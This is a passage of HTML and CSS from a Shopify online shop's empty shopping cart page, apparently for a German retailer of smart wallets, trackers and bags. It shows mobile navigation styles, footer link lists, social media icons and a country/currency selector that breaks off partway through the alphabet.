11694  display: none;
11695}
11696
11697.lb-mobile-navigation-stories a img {
11698    border-radius: 500px;
11699    display: block;
11700    margin: 0px auto 9px auto;
11701    width: 100%;
11702    border: 2px solid #f2f2f2;
11703}
11704
11705.lb-mobile-navigation {
11706position: absolute;
11707top: 0px;
11708left: 0px;
11709right: 0px;
11710bottom: 0px;
11711margin-top: 0px;
11712padding: 18px 18px 72px 18px;
11713overflow-y: auto;
11714overflow-x: hidden;
11715z-index: 1;
11716scrollbar-width: none;
11717    -ms-overflow-style: none;
11718}
11719
11720.lb-mobile-navigation::-webkit-scrollbar {
11721  display: none;
11722}
11723
11724.lb-mobile-navigation-link {
11725    display: flex;
11726    padding: 0px 42px 0px 0px;
11727    align-items: center;
11728    border-radius: 9px;
11729    background: #f6f6f6ff;
11730    margin: 0px 0px 7px 0px;
11731    font-weight: 600;
11732    font-size: 16px;
11733    line-height: 16px;
11734    position: relative;
11735    text-decoration: none;
11736    color: black;
11737}
11738
11739.lb-mobile-navigation-minimal-link {
11740    display: flex;
11741    padding: 12px 42px 12px 9px;
11742    align-items: center;
11743    border-radius: 0px;
11744    background: white;
11745    margin: 0px 0px 7px 0px;
11746    font-weight: 600;
11747    font-size: 16px;
11748    line-height: 16px;
11749    position: relative;
11750    background: none;
11751}
11752
11753.lb-mobile-navigation-content, .lb-mobile-navigation-subsublink-content {
11754height: 100%;
11755left: 100%;
11756position: fixed;
11757width: 100%;
11758box-sizing: border-box;
11759z-index: 4;
11760padding: 18px;
11761top: 0px;
11762background: white;
11763overflow: scroll;
11764scrollbar-width: none;
11765-ms-overflow-style: none;
11766    transition: all 0.3s;
11767    transition-timing-function: ease-in-out;
11768}
11769
11770.lb-mobile-navigation-content::-webkit-scrollbar,
11771.lb-mobile-navigation-subsublink-content::-webkit-scrollbar {
11772display: none;
11773}
11774
11775.lb-mobile-navigation-subsublink-content {
11776padding-left: 0px;
11777}
11778
11779.lb-mobile-navigation-content-open {
11780left: 0%;
11781}
11782
11783.lb-mobile-navigation-sublink {
11784display: flex;
11785align-items: center;
11786padding: 5px 9px;
11787font-size: 16px;
11788font-weight: 600;
11789position: relative;
11790color: black;
11791text-decoration: none;
11792}
11793
11794.lb-mobile-navigation-sublink span {
11795position: relative;
11796    font-size: 16px!important;
11797}
11798
11799.lb-mobile-navigation-sublink span::after {
11800content: ' ';
11801width: 0%;
11802bottom: -5px;
11803left: 0px;
11804position: absolute;
11805height: 2px;
11806background: black;
11807transition: all 0.3s;
11808}
11809
11810.lb-mobile-navigation-sublink:hover span::after {
11811width: 0%;
11812}
11813
11814.lb-mobile-navigation-subsublink {
11815    font-weight: 400;
11816    padding: 9px 9px;
11817}
11818
11819.lb-mobile-navigation-sublink-image {
11820    width: 72px;
11821    height: 72px;
11822    margin-right: 9px;
11823    margin-left: -9px;
11824    background: #E9E2D0;
11825    border-radius: 9px;
11826}
11827
11828.lb-mobile-navigation-image {
11829    width: 72px;
11830    height: 72px;
11831    margin-right: 12px;
11832    border-radius: 9px;
11833}
11834
11835.lb-mobile-navigation-arrow {
11836    width: 18px;
11837    height: 9px;
11838    position: absolute;
11839    right: 18px;
11840    top: 50%;
11841    transform: rotate(-90deg) translate(20%,-0%);
11842    transition: all 0.3s;
11843}
11844
11845.lb-mobile-navigation-arrow-on {
11846transform: rotate(180deg) translate(0,50%);
11847}
11848
11849.lb-mobile-navigation-sublink-content {
11850max-height: 0px;
11851overflow: hidden;
11852font-weight: 400!important;
11853padding-left: 0px;
11854transition: all 0.3s;
11855}
11856
11857.lb-mobile-navigation-sublink-content-open {
11858max-height: 5000px;
11859}
11860
11861.lb-mobile-navigation span {
11862    font-size: 12px;
11863}
11864
11865.lb-mobile-navigation-account {
11866    margin-top: 32px;
11867    display: block;
11868    padding: 9px;
11869    display: flex;
11870    color: black;
11871    text-decoration: none;
11872}
11873
11874.lb-mobile-navigation-account svg {
11875    width: 24px;
11876    height: 24px;
11877    margin-right: 9px;
11878}
11879
11880</style>
11881
11882
11883</div><div id="main" role="main" class="anchor"><div id="shopify-section-template--30818217853192__main" class="shopify-section"><section>
11884  <div class="container container--medium"><div class="empty-state text-container">
11885        <h1 class="heading h1">Shopping cart</h1>
11886        <p class="text--large">Your shopping cart is empty</p>
11887
11888        <div class="button-wrapper">
11889          <a href="/collections/all" class="button button--primary">Shop now</a>
11890        </div>
11891      </div></div>
11892</section>
11893
11894</div><div id="shopify-section-template--30818217853192__cart-recommendations" class="shopify-section shopify-section--cart-recommendations"><style>
11895  @media screen and (min-width: 999px) {
11896    #shopify-section-template--30818217853192__cart-recommendations {
11897      --section-products-per-row: 4;
11898    }
11899  }
11900</style>
11901
11902<product-recommendations section-id="template--30818217853192__cart-recommendations" intent="related" product-id="" recommendations-count="10" class="section section--flush" hidden></product-recommendations>
11903
11904</div>
11905<div id="shopify-section-static-text-with-icons" class="shopify-section shopify-section--text-with-icons"></div><div id="shopify-section-static-newsletter" class="shopify-section shopify-section--newsletter"></div></div><div id="shopify-section-footer" class="shopify-section shopify-section--footer"><style>
11906  #shopify-section-footer .footer {--background: 40, 40, 40;
11907    --heading-color: 255, 255, 255;
11908    --text-color: 255, 255, 255;
11909    --border-color: 72, 72, 72;
11910  }
11911</style>
11912
11913<footer class="footer ">
11914  <div class="container">
11915    <div class="footer__inner">
11916      <div class="footer__item-list"><div class="footer__item footer__item--links is-first" ><p class="footer__item-title heading heading--small">service and Help</p>
11917
11918                  <div class="footer__item-content">
11919                    <ul class="linklist list--unstyled" role="list"><li class="linklist__item">
11920                          <a href="/pages/hilfe" class="link--faded">Overview</a>
11921                        </li><li class="linklist__item">
11922                          <a href="/pages/kontakt" class="link--faded">Contact</a>
11923                        </li><li class="linklist__item">
11924                          <a href="/pages/faq" class="link--faded">FAQ</a>
11925                        </li><li class="linklist__item">
11926                          <a href="/apps/aftership" class="link--faded">Track order</a>
11927                        </li><li class="linklist__item">
11928                          <a href="/pages/garantieerklarung-1" class="link--faded">Guarantee</a>
11929                        </li><li class="linklist__item">
11930                          <a href="/pages/zahlung-und-versand" class="link--faded">Shipment</a>
11931                        </li><li class="linklist__item">
11932                          <a href="/pages/retoure" class="link--faded">Return</a>
11933                        </li><li class="linklist__item">
11934                          <a href="/pages/anleitungen" class="link--faded">Product instructions</a>
11935                        </li><li class="linklist__item">
11936                          <a href="/pages/whatsapp-newsletter" class="link--faded">Whatsapp newsletter</a>
11937                        </li><li class="linklist__item">
11938                          <a href="/pages/erklarung-zur-barrierefreiheit" class="link--faded">Accessibility Statement</a>
11939                        </li><li class="linklist__item">
11940                          <a href="/apps/parcelpanel" class="link--faded">Track order</a>
11941                        </li><li class="linklist__item">
11942                          <a href="/pages/widerruf-formular" class="link--faded">Vertrag widerrufen</a>
11943                        </li><li class="linklist__item">
11944                          <a href="/pages/how-to-disable-the-tracker-card-3-0" class="link--faded">How to disable the Locator Card 3.0</a>
11945                        </li><li class="linklist__item">
11946                          <a href="/pages/how-to-disable-the-key-tracker-3-0" class="link--faded">How to disable the Key Tracker 3.0</a>
11947                        </li><li class="linklist__item">
11948                          <a href="/pages/kopie-von-how-to-disable-the-locator-card-pro" class="link--faded">How to disable the EB Locator Card Pro</a>
11949                        </li></ul>
11950                  </div></div><div class="footer__item footer__item--links " ><p class="footer__item-title heading heading--small">Products</p>
11951
11952                  <div class="footer__item-content">
11953                    <ul class="linklist list--unstyled" role="list"><li class="linklist__item">
11954                          <a href="/collections/all" class="link--faded">All products</a>
11955                        </li><li class="linklist__item">
11956                          <a href="/collections/unsere-angebote" class="link--faded">All sets</a>
11957                        </li><li class="linklist__item">
11958                          <a href="/products/smart-wallet-3-0" class="link--faded">Smart Wallet 3.0</a>
11959                        </li><li class="linklist__item">
11960                          <a href="/products/tracker-karte" class="link--faded">Tracker Card iOS & Android</a>
11961                        </li><li class="linklist__item">
11962                          <a href="/products/induktives-ladekabel-kabellos" class="link--faded">Inductive charging cable</a>
11963                        </li><li class="linklist__item">
11964                          <a href="/products/schlusseletui" class="link--faded">Key case</a>
11965                        </li><li class="linklist__item">
11966                          <a href="/products/schlussel-tracker-ios-android" class="link--faded">Key Tracker iOS and Android</a>
11967                        </li><li class="linklist__item">
11968                          <a href="/products/digitale-visitenkarte" class="link--faded">Digital visitsCard with NTAG</a>
11969                        </li><li class="linklist__item">
11970                          <a href="/products/essential-belt" class="link--faded">Essential belt</a>
11971                        </li><li class="linklist__item">
11972                          <a href="/products/essential-sling-bag" class="link--faded"><tc>
11972Essential Sling Bag 2.0</tc></a>
11973                        </li><li class="linklist__item">
11974                          <a href="/products/ladekabel" class="link--faded">Mini multi charging cable</a>
11975                        </li><li class="linklist__item">
11976                          <a href="/products/valentinstag-herzanhanger-personalisierbar" class="link--faded">Personalizable heart pendant</a>
11977                        </li><li class="linklist__item">
11978                          <a href="/products/geschenkgutschein" class="link--faded">Gift voucher</a>
11979                        </li></ul>
11980                  </div></div><div class="footer__item footer__item--links " ><p class="footer__item-title heading heading--small">Generally</p>
11981
11982                  <div class="footer__item-content">
11983                    <ul class="linklist list--unstyled" role="list"><li class="linklist__item">
11984                          <a href="/pages/impressum" class="link--faded">Imprint</a>
11985                        </li><li class="linklist__item">
11986                          <a href="/pages/agb" class="link--faded">Terms and Conditions</a>
11987                        </li><li class="linklist__item">
11988                          <a href="/pages/datenschutz" class="link--faded">Privacy Policy</a>
11989                        </li><li class="linklist__item">
11990                          <a href="/pages/widerrufsrecht" class="link--faded">Cancellation policy</a>
11991                        </li><li class="linklist__item">
11992                          <a href="/pages/garantieerklarung-1" class="link--faded">Guarantee statement</a>
11993                        </li><li class="linklist__item">
11994                          <a href="/pages/cookies" class="link--faded">Cookies</a>
11995                        </li><li class="linklist__item">
11996                          <a href="https://essentialbag.de/#revokeConsent" class="link--faded">Customize cookies</a>
11997                        </li></ul>
11998                  </div></div><div class="footer__item footer__item--links " ><p class="footer__item-title heading heading--small">About Us</p>
11999
12000                  <div class="footer__item-content">
12001                    <ul class="linklist list--unstyled" role="list"><li class="linklist__item">
12002                          <a href="/pages/uber-uns" class="link--faded">Company history</a>
12003                        </li><li class="linklist__item">
12004                          <a href="/pages/nachhaltigkeit" class="link--faded">Sustainability</a>
12005                        </li><li class="linklist__item">
12006                          <a href="/pages/produktentwicklung" class="link--faded">Product development</a>
12007                        </li><li class="linklist__item">
12008                          <a href="/pages/bewertungen" class="link--faded">Customer testimonials</a>
12009                        </li><li class="linklist__item">
12010                          <a href="/pages/karriere-jobs" class="link--faded">career and Jobs</a>
12011                        </li><li class="linklist__item">
12012                          <a href="https://empfehlung.essentialbag.de/create-account" class="link--faded">Recommend</a>
12013                        </li><li class="linklist__item">
12014                          <a href="/pages/unternehmen-b2b" class="link--faded">For companies</a>
12015                        </li><li class="linklist__item">
12016                          <a href="/blogs/news" class="link--faded">Blog</a>
12017                        </li></ul>
12018                  </div></div><div class="footer__item footer__item--social-media " ><p class="footer__item-title heading heading--small">Follow Us</p><div class="footer__item-content"><ul class="social-media social-media--no-radius list--unstyled" role="list">
12019    <li class="social-media__item social-media__item--facebook">
12020      <a href="https://www.facebook.com/essentialbag.shop" target="_blank" rel="noopener" class="social-media__link" aria-label="Follow us on Facebook"><svg focusable="false" width="9" height="17" class="icon icon--facebook   " viewBox="0 0 9 17">
12021        <path fill-rule="evenodd" clip-rule="evenodd" d="M2.486 16.2084L2.486 8.81845H0L0 5.93845L2.486 5.93845L2.486 3.81845C2.38483 2.79982 2.73793 1.78841 3.45107 1.05407C4.16421 0.319722 5.16485 -0.0628415 6.186 0.00844868C6.9284 0.00408689 7.67039 0.0441585 8.408 0.128449V2.69845L6.883 2.69845C6.4898 2.61523 6.08104 2.73438 5.79414 3.01585C5.50724 3.29732 5.3803 3.70373 5.456 4.09845L5.456 5.93845H8.308L7.936 8.81845H5.46L5.46 16.2084H2.486Z" fill="currentColor"></path>
12022      </svg></a>
12023    </li><li class="social-media__item social-media__item--instagram">
12024      <a href="https://www.instagram.com/essentialbag.de/" target="_blank" rel="noopener" class="social-media__link" aria-label="Follow us on Instagram"><svg focusable="false" width="16" height="16" class="icon icon--instagram   " viewBox="0 0 16 16">
12025        <path fill-rule="evenodd" clip-rule="evenodd" d="M8 0C5.827 0 5.555.01 4.702.048 3.85.087 3.269.222 2.76.42a3.921 3.921 0 00-1.417.923c-.445.444-.719.89-.923 1.417-.198.509-.333 1.09-.372 1.942C.01 5.555 0 5.827 0 8s.01 2.445.048 3.298c.039.852.174 1.433.372 1.942.204.526.478.973.923 1.417.444.445.89.719 1.417.923.509.198 1.09.333 1.942.372C5.555 15.99 5.827 16 8 16s2.445-.01 3.298-.048c.852-.039 1.433-.174 1.942-.372a3.922 3.922 0 001.417-.923c.445-.444.719-.89.923-1.417.198-.509.333-1.09.372-1.942C15.99 10.445 16 10.173 16 8s-.01-2.445-.048-3.298c-.039-.852-.174-1.433-.372-1.942a3.922 3.922 0 00-.923-1.417A3.921 3.921 0 0013.24.42c-.509-.198-1.09-.333-1.942-.372C10.445.01 10.173 0 8 0zm0 1.441c2.136 0 2.39.009 3.233.047.78.036 1.203.166 1.485.276.374.145.64.318.92.598.28.28.453.546.598.92.11.282.24.705.276 1.485.038.844.047 1.097.047 3.233s-.009 2.39-.047 3.233c-.036.78-.166 1.203-.276 1.485-.145.374-.318.64-.598.92-.28.28-.546.453-.92.598-.282.11-.70
120255.24-1.485.276-.844.038-1.097.047-3.233.047s-2.39-.009-3.233-.047c-.78-.036-1.203-.166-1.485-.276a2.479 2.479 0 01-.92-.598 2.478 2.478 0 01-.598-.92c-.11-.282-.24-.705-.276-1.485-.038-.844-.047-1.097-.047-3.233s.009-2.39.047-3.233c.036-.78.166-1.203.276-1.485.145-.374.318-.64.598-.92.28-.28.546-.453.92-.598.282-.11.705-.24 1.485-.276.844-.038 1.097-.047 3.233-.047zm0 9.226a2.667 2.667 0 110-5.334 2.667 2.667 0 010 5.334zm0-6.775a4.108 4.108 0 100 8.216 4.108 4.108 0 000-8.216zm5.23-.162a.96.96 0 11-1.92 0 .96.96 0 011.92 0z" fill="currentColor"></path>
12026      </svg></a>
12027    </li><li class="social-media__item social-media__item--youtube">
12028      <a href="https://www.youtube.com/@essentialbag" target="_blank" rel="noopener" class="social-media__link" aria-label="Follow us on YouTube"><svg fill="none" focusable="false" width="18" height="13" class="icon icon--youtube   " viewBox="0 0 18 13">
12029        <path fill-rule="evenodd" clip-rule="evenodd" d="M16.0325 0.369454C16.807 0.572743 17.4168 1.17173 17.6238 1.9324C18 3.31101 18 6.1875 18 6.1875C18 6.1875 18 9.06389 17.6238 10.4427C17.4168 11.2033 16.807 11.8023 16.0325 12.0056C14.6288 12.375 9 12.375 9 12.375C9 12.375 3.37122 12.375 1.96752 12.0056C1.19311 11.8023 0.583159 11.2033 0.376159 10.4427C0 9.06389 0 6.1875 0 6.1875C0 6.1875 0 3.31101 0.376159 1.9324C0.583159 1.17173 1.19311 0.572743 1.96752 0.369454C3.37122 0 9 0 9 0C9 0 14.6288 0 16.0325 0.369454ZM11.8636 6.1876L7.1591 8.79913V3.57588L11.8636 6.1876Z" fill="currentColor"></path>
12030      </svg></a>
12031    </li><li class="social-media__item social-media__item--tiktok">
12032      <a href="https://www.tiktok.com/@essentialbag.de" target="_blank" rel="noopener" class="social-media__link" aria-label="Follow us on TikTok"><svg fill="none" focusable="false" width="14" height="16" class="icon icon--tiktok   " viewBox="0 0 14 16">
12033        <path d="M13.6893 6.47331C13.5586 6.48602 13.4273 6.49268 13.296 6.49327C11.8552 6.49347 10.5114 5.76723 9.72211 4.56182V11.1389C9.72211 13.8236 7.54571 16 4.86099 16C2.17627 16 -0.00012207 13.8236 -0.00012207 11.1389C-0.00012207 8.45417 2.17627 6.27777 4.86099 6.27777C4.96247 6.27777 5.06166 6.28689 5.16143 6.29317V8.68866C5.06166 8.67669 4.96361 8.65845 4.86099 8.65845C3.49077 8.65845 2.37998 9.76923 2.37998 11.1395C2.37998 12.5097 3.49077 13.6205 4.86099 13.6205C6.23148 13.6205 7.44177 12.5407 7.44177 11.1702L7.46571 0H9.75745C9.97355 2.05512 11.6307 3.66035 13.6916 3.81102V6.47331" fill="currentColor"></path>
12034      </svg></a>
12035    </li>
12036  </ul></div></div></div>
12037
12038      <div class="footer__aside"><form method="post" action="/localization" id="localization_form_footer" accept-charset="UTF-8" class="footer__cross-border" enctype="multipart/form-data"><input type="hidden" name="form_type" value="localization" /><input type="hidden" name="utf8" value="✓" /><input type="hidden" name="_method" value="put" /><input type="hidden" name="return_to" value="/cart" /><div class="popover-container">
12039                <input type="hidden" name="country_code" value="US">
12040                <span class="visually-hidden">Country/Region</span>
12041
12042                <button type="button" is="toggle-button" class="select select--small  text--xsmall" aria-expanded="false" aria-controls="footer-currency-selector">United States (USD $)<svg focusable="false" width="9" height="6" class="icon icon--chevron icon--inline  " viewBox="0 0 12 8">
12043        <path fill="none" d="M1 1l5 5 5-5" stroke="currentColor" stroke-width="1.5"></path>
12044      </svg></button>
12045
12046                <popover-content id="footer-currency-selector" class="popover popover--top popover--left popover--small">
12047                  <span class="popover__overlay"></span>
12048
12049                  <header class="popover__header">
12050                    <span class="popover__title heading h6">Country/Region</span>
12051
12052                    <button type="button" class="popover__close-button tap-area tap-area--large" data-action="close" title="Close"><svg focusable="false" width="14" height="14" class="icon icon--close   " viewBox="0 0 14 14">
12053        <path d="M13 13L1 1M13 1L1 13" stroke="currentColor" stroke-width="1.5" fill="none"></path>
12054      </svg></button>
12055                  </header>
12056
12057                  <div class="popover__content popover__content--restrict">
12058                    <div class="popover__choice-list"><button type="submit" name="country_code" value="AF" class="popover__choice-item">
12059                          <span class="popover__choice-label" >Afghanistan (AFN ؋)
12060                          </span>
12061                        </button><button type="submit" name="country_code" value="AX" class="popover__choice-item">
12062                          <span class="popover__choice-label" >Åland Islands (EUR €)
12063                          </span>
12064                        </button><button type="submit" name="country_code" value="AL" class="popover__choice-item">
12065                          <span class="popover__choice-label" >Albania (ALL L)
12066                          </span>
12067                        </button><button type="submit" name="country_code" value="DZ" class="popover__choice-item">
12068                          <span class="popover__choice-label" >Algeria (DZD د.ج)
12069                          </span>
12070                        </button><button type="submit" name="country_code" value="AD" class="popover__choice-item">
12071                          <span class="popover__choice-label" >Andorra (EUR €)
12072                          </span>
12073                        </button><button type="submit" name="country_code" value="AO" class="popover__choice-item">
12074                          <span class="popover__choice-label" >Angola (EUR €)
12075                          </span>
12076                        </button><button type="submit" name="country_code" value="AI" class="popover__choice-item">
12077                          <span class="popover__choice-label" >Anguilla (XCD $)
12078                          </span>
12079                        </button><button type="submit" name="country_code" value="AG" class="popover__choice-item">
12080                          <span class="popover__choice-label" >Antigua &amp; Barbuda (XCD $)
12081                          </span>
12082                        </button><button type="submit" name="country_code" value="AR" class="popover__choice-item">
12083                          <span class="popover__choice-label" >Argentina (EUR €)
12084                          </span>
12085                        </button><button type="submit" name="country_code" value="AM" class="popover__choice-item">
12086                          <span class="popover__choice-label" >Armenia (AMD դր.)
12087                          </span>
12088                        </button><button type="submit" name="country_code" value="AW" class="popover__choice-item">
12089                          <span class="popover__choice-label" >Aruba (AWG ƒ)
12090                          </span>
12091                        </button><button type="submit" name="country_code" value="AC" class="popover__choice-item">
12092                          <span class="popover__choice-label" >Ascension Island (SHP £)
12093                          </span>
12094                        </button><button type="submit" name="country_code" value="AU" class="popover__choice-item">
12095                          <span class="popover__choice-label" >Australia (AUD $)
12096                          </span>
12097                        </button><button type="submit" name="country_code" value="AT" class="popover__choice-item">
12098                          <span class="popover__choice-label" >Austria (EUR €)
12099                          </span>
12100                        </button><button type="submit" name="country_code" value="AZ" class="popover__choice-item">
12101                          <span class="popover__choice-label" >Azerbaijan (AZN ₼)
12102                          </span>
12103                        </button><button type="submit" name="country_code" value="BS" class="popover__choice-item">
12104                          <span class="popover__choice-label" >Bahamas (BSD $)
12105                          </span>
12106                        </button><button type="submit" name="country_code" value="BH" class="popover__choice-item">
12107                          <span class="popover__choice-label" >Bahrain (EUR €)
12108                          </span>
12109                        </button><button type="submit" name="country_code" value="BD" class="popover__choice-item">
12110                          <span class="popover__choice-label" >Bangladesh (BDT à§³)
12111                          </span>
12112                        </button><button type="submit" name="country_code" value="BB" class="popover__choice-item">
12113                          <span class="popover__choice-label" >Barbados (BBD $)
12114                          </span>
12115                        </button><button type="submit" name="country_code" value="BY" class="popover__choice-item">
12116                          <span class="popover__choice-label" >Belarus (EUR €)
12117                          </span>
12118                        </button><button type="submit" name="country_code" value="BE" class="popover__choice-item">
12119                          <span class="popover__choice-label" >Belgium (EUR €)
12120                          </span>
12121                        </button><button type="submit" name="country_code" value="BZ" class="popover__choice-item">
12122                          <span class="popover__choice-label" >Belize (BZD $)
12123                          </span>
12124                        </button><button type="submit" name="country_code" value="BJ" class="popover__choice-item">
12125                          <span class="popover__choice-label" >Benin (XOF Fr)
12126                          </span>
12127                        </button><button type="submit" name="country_code" value="BM" class="popover__choice-item">
12128                          <span class="popover__choice-label" >Bermuda (USD $)
12129                          </span>
12130                        </button><button type="submit" name="country_code" value="BT" class="popover__choice-item">
12131                          <span class="popover__choice-label" >Bhutan (EUR €)
12132                          </span>
12133                        </button><button type="submit" name="country_code" value="BO" class="popover__choice-item">
12134                          <span class="popover__choice-label" >Bolivia (BOB Bs.)
12135                          </span>
12136                        </button><button type="submit" name="country_code" value="BA" class="popover__choice-item">
12137                          <span class="popover__choice-label" >Bosnia &amp; Herzegovina (BAM КМ)
12138                          </span>
12139                        </button><button type="submit" name="country_code" value="BW" class="popover__choice-item">
12140                          <span class="popover__choice-label" >Botswana (BWP P)
12141                          </span>
12142                        </button><button type="submit" name="country_code" value="BR" class="popover__choice-item">
12143                          <span class="popover__choice-label" >Brazil (EUR €)
12144                          </span>
12145                        </button><button type="submit" name="country_code" value="IO" class="popover__choice-item">
12146                          <span class="popover__choice-label" >British Indian Ocean Territory (USD $)
12147                          </span>
12148                        </button><button type="submit" name="country_code" value="VG" class="popover__choice-item">
12149                          <span class="popover__choice-label" >British Virgin Islands (USD $)
12150                          </span>
12151                        </button><button type="submit" name="country_code" value="BN" class="popover__choice-item">
12152                          <span class="popover__choice-label" >Brunei (BND $)
12153                          </span>
12154                        </button><button type="submit" name="country_code" value="BG" class="popover__choice-item">
12155                          <span class="popover__choice-label" >Bulgaria (EUR €)
12156                          </span>
12157                        </button><button type="submit" name="country_code" value="BF" class="popover__choice-item">
12158                          <span class="popover__choice-label" >Burkina Faso (XOF Fr)
12159                          </span>
12160                        </button><button type="submit" name="country_code" value="BI" class="popover__choice-item">
12161                          <span class="popover__choice-label" >Burundi (BIF Fr)
12162                          </span>
12163                        </button><button type="submit" name="country_code" value="KH" class="popover__choice-item">
12164                          <span class="popover__choice-label" >Cambodia (KHR ៛)
12165                          </span>
12166                        </button><button type="submit" name="country_code" value="CM" class="popover__choice-item">
12167                          <span class="popover__choice-label" >Cameroon (XAF CFA)
12168                          </span>
12169                        </button><button type="submit" name="country_code" value="CA" class="popover__choice-item">
12170                          <span class="popover__choice-label" >Canada (CAD $)
12171                          </span>
12172                        </button><button type="submit" name="country_code" value="CV" class="popover__choice-item">
12173                          <span class="popover__choice-label" >Cape Verde (CVE $)
12174                          </span>
12175                        </button><button type="submit" name="country_code" value="BQ" class="popover__choice-item">
12176                          <span class="popover__choice-label" >Caribbean Netherlands (USD $)
12177                          </span>
12178                        </button><button type="submit" name="country_code" value="KY" class="popover__choice-item">
12179                          <span class="popover__choice-label" >Cayman Islands (KYD $)
12180                          </span>
12181                        </button><button type="submit" name="country_code" value="CF" class="popover__choice-item">
12182                          <span class="popover__choice-label" >Central African Republic (XAF CFA)
12183                          </span>
12184                        </button><button type="submit" name="country_code" value="TD" class="popover__choice-item">
12185                          <span class="popover__choice-label" >Chad (XAF CFA)
12186                          </span>
12187                        </button><button type="submit" name="country_code" value="CL" class="popover__choice-item">
12188                          <span class="popover__choice-label" >Chile (EUR €)
12189                          </span>
12190                        </button><button type="submit" name="country_code" value="CN" class="popover__choice-item">
12191                          <span class="popover__choice-label" >China (CNY ¥)
12192                          </span>
12193                        </button><button type="submit" name="country_code" value="CX" class="popover__choice-item">
12194                          <span class="popover__choice-label" >Christmas Island (AUD $)
12195                          </span>
12196                        </button><button type="submit" name="country_code" value="CC" class="popover__choice-item">
12197                          <span class="popover__choice-label" >Cocos (Keeling) Islands (AUD $)
12198                          </span>
12199                        </button><button type="submit" name="country_code" value="CO" class="popover__choice-item">
12200                          <span class="popover__choice-label" >Colombia (EUR €)
12201                          </span>
12202                        </button><button type="submit" name="country_code" value="KM" class="popover__choice-item">
12203                          <span class="popover__choice-label" >Comoros (KMF Fr)
12204                          </span>
12205                        </button><button type="submit" name="country_code" value="CG" class="popover__choice-item">
12206                          <span class="popover__choice-label" >Congo - Brazzaville (XAF CFA)
12207                          </span>
12208                        </button><button type="submit" name="country_code" value="CD" class="popover__choice-item">
12209                          <span class="popover__choice-label" >Congo - Kinshasa (CDF Fr)
12210                          </span>
12211                        </button><button type="submit" name="country_code" value="CK" class="popover__choice-item">
12212                          <span class="popover__choice-label" >Cook Islands (NZD $)
12213                          </span>
12214                        </button><button type="submit" name="country_code" value="CR" class="popover__choice-item">
12215                          <span class="popover__choice-label" >Costa Rica (CRC ₡)
12216                          </span>
12217                        </button><button type="submit" name="country_code" value="CI" class="popover__choice-item">
12218                          <span class="popover__choice-label" >Côte d’Ivoire (XOF Fr)
12219                          </span>
12220                        </button><button type="submit" name="country_code" value="HR" class="popover__choice-item">
12221                          <span class="popover__choice-label" >Croatia (EUR €)
12222                          </span>
12223                        </button><button type="submit" name="country_code" value="CW" class="popover__choice-item">
12224                          <span class="popover__choice-label" >Curaçao (ANG ƒ)
12225                          </span>
12226                        </button><button type="submit" name="country_code" value="CY" class="popover__choice-item">
12227                          <span class="popover__choice-label" >Cyprus (EUR €)
12228                          </span>
12229                        </button><button type="submit" name="country_code" value="CZ" class="popover__choice-item">
12230                          <span class="popover__choice-label" >Czechia (CZK Kč)
12231                          </span>
12232                        </button><button type="submit" name="country_code" value="DK" class="popover__choice-item">
12233                          <span class="popover__choice-label" >Denmark (DKK kr.)
12234                          </span>
12235                        </button><button type="submit" name="country_code" value="DJ" class="popover__choice-item">
12236                          <span class="popover__choice-label" >Djibouti (DJF Fdj)
12237                          </span>
12238                        </button><button type="submit" name="country_code" value="DM" class="popover__choice-item">
12239                          <span class="popover__choice-label" >Dominica (XCD $)
12240                          </span>
12241                        </button><button type="submit" name="country_code" value="DO" class="popover__choice-item">
12242                          <span class="popover__choice-label" >Dominican Republic (DOP $)
12243                          </span>
12244                        </button><button type="submit" name="country_code" value="EC" class="popover__choice-item">
12245                          <span class="popover__choice-label" >Ecuador (USD $)
12246                          </span>
12247                        </button><button type="submit" name="country_code" value="EG" class="popover__choice-item">
12248                          <span class="popover__choice-label" >Egypt (EGP ج.م)
12249                          </span>
12250                        </button><button type="submit" name="country_code" value="SV" class="popover__choice-item">
12251                          <span class="popover__choice-label" >El Salvador (USD $)
12252                          </span>
12253                        </button><button type="submit" name="country_code" value="GQ" class="popover__choice-item">
12254                          <span class="popover__choice-label" >Equatorial Guinea (XAF CFA)
12255                          </span>
12256                        </button><button type="submit" name="country_code" value="ER" class="popover__choice-item">
12257                          <span class="popover__choice-label" >Eritrea (EUR €)
12258                          </span>
12259                        </button><button type="submit" name="country_code" value="EE" class="popover__choice-item">
12260                          <span class="popover__choice-label" >Estonia (EUR €)
12261                          </span>
12262                        </button><button type="submit" name="country_code" value="SZ" class="popover__choice-item">
12263                          <span class="popover__choice-label" >Eswatini (EUR €)
12264                          </span>
12265                        </button><button type="submit" name="country_code" value="ET" class="popover__choice-item">
12266                          <span class="popover__choice-label" >Ethiopia (ETB Br)
12267                          </span>
12268                        </button><button type="submit" name="country_code" value="FK" class="popover__choice-item">
12269                          <span class="popover__choice-label" >Falkland Islands (FKP £)
12270                          </span>
12271                        </button><button type="submit" name="country_code" value="FO" class="popover__choice-item">
12272                          <span class="popover__choice-label" >Faroe Islands (DKK kr.)
12273                          </span>
12274                        </button><button type="submit" name="country_code" value="FJ" class="popover__choice-item">
12275                          <span class="popover__choice-label" >Fiji (FJD $)
12276                          </span>
12277                        </button><button type="submit" name="country_code" value="FI" class="popover__choice-item">
12278                          <span class="popover__choice-label" >Finland (EUR €)
12279                          </span>
12280                        </button><button type="submit" name="country_code" value="FR" class="popover__choice-item">
12281                          <span class="popover__choice-label" >France (EUR €)
12282                          </span>
12283                        </button><button type="submit" name="country_code" value="GF" class="popover__choice-item">
12284                          <span class="popover__choice-label" >French Guiana (EUR €)
12285                          </span>
12286                        </button><button type="submit" name="country_code" value="PF" class="popover__choice-item">
12287                          <span class="popover__choice-label" >French Polynesia (XPF Fr)
12288                          </span>
12289                        </button><button type="submit" name="country_code" value="TF" class="popover__choice-item">
12290                          <span class="popover__choice-label" >French Southern Territories (EUR €)
12291                          </span>
12292                        </button><button type="submit" name="country_code" value="GA" class="popover__choice-item">
12293                          <span class="popover__choice-label" >Gabon (XOF Fr)
12294                          </span>
12295                        </button><button type="submit" name="country_code" value="GM" class="popover__choice-item">
12296                          <span class="popover__choice-label" >Gambia (GMD D)
12297                          </span>
12298                        </button><button type="submit" name="country_code" value="GE" class="popover__choice-item">
12299                          <span class="popover__choice-label" >Georgia (EUR €)
12300                          </span>
12301                        </button><button type="submit" name="country_code" value="DE" class="popover__choice-item">
12302                          <span class="popover__choice-label" >Germany (EUR €)
12303                          </span>
12304                        </button><button type="submit" name="country_code" value="GH" class="popover__choice-item">
12305                          <span class="popover__choice-label" >Ghana (EUR €)
12306                          </span>
12307                        </button><button type="submit" name="country_code" value="GI" class="popover__choice-item">
12308                          <span class="popover__choice-label" >Gibraltar (GBP £)
12309                          </span>
